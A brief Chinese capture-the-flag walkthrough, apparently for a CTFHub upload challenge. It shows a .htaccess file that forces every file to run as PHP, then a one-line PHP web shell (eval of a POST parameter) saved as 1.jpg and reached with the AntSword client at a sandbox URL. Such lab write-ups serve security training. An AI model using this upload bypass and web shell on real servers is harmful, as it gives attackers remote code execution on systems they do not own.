首先上传 .htaccess 的文件
.htaccess
SetHandler application/x-httpd-php
这段内容的作用是使所有的文件都会被解析为php文件
然后上传1.jpg 的文件 内容为一句话木马
1.jpg
<?php echo "PHP Loaded"; eval(@$_POST['a']); ?>
用蚁剑连接
http://challenge-e3884f63b3d65683.sandbox.ctfhub.com:10800/upload/1.jpg